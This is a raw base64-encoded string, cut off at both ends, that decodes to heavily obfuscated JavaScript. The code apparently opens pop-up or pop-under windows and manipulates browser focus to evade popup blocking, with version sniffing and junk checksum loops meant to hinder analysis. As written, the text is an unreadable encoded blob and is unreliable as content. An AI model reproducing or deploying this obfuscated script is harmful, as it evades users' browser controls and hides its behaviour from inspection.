3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aC